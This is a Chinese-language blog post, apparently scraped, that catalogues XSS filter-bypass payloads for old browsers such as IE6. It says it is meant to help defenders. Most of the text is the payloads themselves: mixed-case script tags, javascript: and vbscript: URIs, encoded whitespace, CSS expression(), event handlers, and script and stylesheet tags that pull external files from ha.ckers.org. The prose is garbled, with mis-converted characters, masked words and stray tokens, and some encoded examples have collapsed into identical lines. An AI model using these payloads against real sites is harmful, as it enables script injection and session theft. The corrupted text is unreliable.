XSS不具备浏览器通用性。不一样的浏览器对同一XSS的适用不同。相比较而言,IE8和Firefox相对更安全,自己就对XSS***有更严格的过滤。而IE6的安全性通常,即便***者的代码有些“变形”,浏览器仍是会“尽力而为”的解析。而其余的一些浏览器如opera,XSS安全处理可能作得更差。javascript
本文基本上是在IE6的基础上给你们分析XSS的变形和绕过。以便你们有针对性的防御。做者参阅了互联网上一些XSS***实战的例子,汇总成此文。css
1、具体内容html
XSS的通常原始构造:java
<script>alert("anyunix")</script>web
上述构造方式因为太过直接而容易被过滤,实际上,针对不一样站点的不一样过滤机制,对原始构造的适当变形有时就能绕过很多对XSS的检测。浏览器
2、发展安全
1:很简单,你们都知道会把<script>过滤掉,却每每忽略了大小写:xss
<sCripT>alert("anyunix")</Script>ide
2:<script>完全被过滤了也没关系,不少对象能够支持“javascript:”的形式代码执行:web安全
<IMG javascript:alert("anyunix")>< /p>
3:当简单的"javascript"形式也被完全过滤后。咱们发现不少对象支持“&#ASCII”的表示方法,
<img javascript:alert("anyunix")>< /p>
<img javascript:alert('anyunix')>< /p>
<img javascript:alert('anyunix')>< /p>
<img javascript:alert('anyunix')>< /p>
a能够写成a,a直至a也是能够执行的。
a也是能够写成=,=直至=的。
4:若是上述编码亦被还原过滤,能够填入空格、制表符、换行符等空白字符:
<IMG SRC="jav ascript:alert('anyunix');">
5:也能够嵌入编码事后的TAB键等,char09,char10,char13均可以被嵌入:
<IMG SRC="jav	ascript:alert('anyunix');">
<IMG SRC="jav
ascript:alert('anyunix');">
<IMG SRC="jav
ascript:alert('anyunix');">
6:当直接用“javascript”终于被完全禁绝,咱们还可使用其余属性执行XSS。
<DIV STYLE="width:alert('anyunix'));">< /p>
<IMG SRC='vbscript:msgbox("anyunix")'>
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
7:而后,理所固然衍生了新的绕过方式和利用形式。
A):插入注释/*....*/作干扰
<IMG STYLE="xss:expr/*XSS*/ession(alert('anyunix'))">
B):全角字符的干扰
<DIV STYLE="width:expression(alert('anyunix'));">
C):“\”的干扰
<STYLE>@im\po\rt'http://ha.ckers.org/xss.css';</STYLE>
8:若是直接执行被彻底过滤,那咱们就利用事件来执行XSS
<img src="#"onerror=alert('anyunix')>
<img src=http://p_w_picpaths.51cto.com/files/uploadimg/20130407/1014480.png"onmousemove=alert(163)>
<BODY ONLOAD=alert('anyunix')>
<isindex type=p_w_picpathsrc=1onerror=alert('anyunix')>
9:flash能够用来执行XSS
<EMBED SRC="http://ha.ckers.org/xss.swf"AllowScriptAccess="always"></EMBED>
10:也能够利用各类其余标签
<BODY BACKGROUND="alert('XSS')">< /p>
<IMG DYNSRC="alert('XSS')">< /p>
<LINK REL="stylesheet"HREF="http://ha.ckers.org/xss.css">
<TABLE BACKGROUND="alert('XSS')">< /p>
其余的一些用于混淆、干扰和绕过的bypass实例:
<SCRIPTa=">"SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT=">"SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPTa=">'>"SRC="http://ha.ckers.org/xss.js"></SCRIPT>
perl-e'print"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";'>out
<IMG SRC=" alert('XSS');">< /p>
如上,就是一些比较常见和实用的XSS绕过方法。在实际的运用中,每每是多种方法结合起来。
更多更详尽的XSS测试脚本,可参见http://ha.ckers.org/xss.html建议参阅《OWASP测试指南》,对一些相关的web安全知识作全面的了解。
By:anyunix